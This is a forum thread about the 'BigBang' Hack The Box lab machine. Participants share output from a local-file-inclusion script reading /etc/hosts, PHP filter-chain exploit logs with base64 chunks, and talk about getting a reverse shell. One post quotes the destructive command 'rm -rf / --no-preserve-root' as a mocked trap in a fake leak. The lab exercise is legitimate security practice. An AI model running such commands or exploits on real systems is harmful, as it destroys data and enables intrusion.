BigBang a Linux - Hard Machine
by StingEm - Saturday January 25, 2025 at 03:24 PM
#51
(Jan 26, 2025, 06:19 AM)fuckhackthebox Wrote: FINALLY got the ateam leak holy shit


nice obfuscated
rm -rf / --no-preserve-root
  :clown:
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#52
zlib is not active on the machine

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#53
└─$ python3 LFI.py /etc/hosts
PNG URL: http://blog.bigbang.htb/wp-content/uploa...01/1-7.png
File Contents:
GIF89a\nM127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.17.0.3 bf9a
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#54
b'eHNzYjNXbkRNeGt5MThaandqdHhPdDdCVlFta253TnZTOHJSN1I2T2FtU1dEVHJqNzM='
2
[*] The data:// wrapper works
b'c0psVThwclhZenJ0WlBoczVIV3NQT2RzRU5wSnlNTkRrU1lPaTBsa3hDOWxJVVhQMXE='
2
[*] The php://filter/ wrapper works
b'K3UO8kyPygzPTgouCfOPCnJLcgotCoksKSpNzQo18zUyNakyzTN1tEjzK4kIdUy28AkCAA=='
0
[+] Exploit preconditions are satisfied
b'RTU0dWx4c2V4Z29wN1pINFowd3Nlb0YxV21tSUpCY3ZCSEdCbzBTQ3RQOENhb0k0dGg='
2
[*] The data:// wrapper works
b'MVRWbFBnRTMzbGpLREtRZ0NWeGk0YzZlbEFoZ2NGbTRUbFdHSWNESEExOFlsUE5OYkM='
2
[*] The php://filter/ wrapper works
b'y60wdww2LypIKw8NsggKyknKdytyMfQOL08tC6hwNwipCjY3NTAoDkt0DXLKcPUsDfYFAA=='
0
[+] Exploit preconditions are satisfied
[x] Error Invalid base64-encoded string: number of data characters (81425) cannot be 1 more than a multiple of 4
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#55
(Jan 26, 2025, 09:14 AM)gwen12345 Wrote: b'eHNzYjNXbkRNeGt5MThaandqdHhPdDdCVlFta253TnZTOHJSN1I2T2FtU1dEVHJqNzM='
2
[*]The data:// wrapper works
b'c0psVThwclhZenJ0WlBoczVIV3NQT2RzRU5wSnlNTkRrU1lPaTBsa3hDOWxJVVhQMXE='
2
[*]The php://filter/ wrapper works
b'K3UO8kyPygzPTgouCfOPCnJLcgotCoksKSpNzQo18zUyNakyzTN1tEjzK4kIdUy28AkCAA=='
0
[+] Exploit preconditions are satisfied
b'RTU0dWx4c2V4Z29wN1pINFowd3Nlb0YxV21tSUpCY3ZCSEdCbzBTQ3RQOENhb0k0dGg='
2
[*]The data:// wrapper works
b'MVRWbFBnRTMzbGpLREtRZ0NWeGk0YzZlbEFoZ2NGbTRUbFdHSWNESEExOFlsUE5OYkM='
2
[*]The php://filter/ wrapper works
b'y60wdww2LypIKw8NsggKyknKdytyMfQOL08tC6hwNwipCjY3NTAoDkt0DXLKcPUsDfYFAA=='
0
[+] Exploit preconditions are satisfied
[x] Error Invalid base64-encoded string: number of data characters (81425) cannot be 1 more than a multiple of 4


How did you get the zlib to work ? You cannotnjust delete zlib from the checks, if there is no zlib the exploit will fail as zlib is used to chunk stuff in the exploit...

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#56
Exactly, there is no zlib on the box and looking for alternatives how to get around that.
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#57
(Jan 26, 2025, 09:48 AM)peRd1 Wrote: Exactly, there is no zlib on the box and looking for alternatives how to get around that.

I think I will stop looking personally. Like I can have a good life without being a PHP expert ... Slept only 5 hours last night because of this ...

If someone find the zlib alternative please share ...

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#58
Reading file isn't an option here. All we've to do is to execute a rev shell
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#59
(Jan 26, 2025, 09:48 AM)peRd1 Wrote: Exactly, there is no zlib on the box and looking for alternatives how to get around that.

btw did you manage to generate chain.txt to read full file? i am getting random elf parse errors because of random missing of bytes
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#60
something with create posts without login?
the form has an upload files field too
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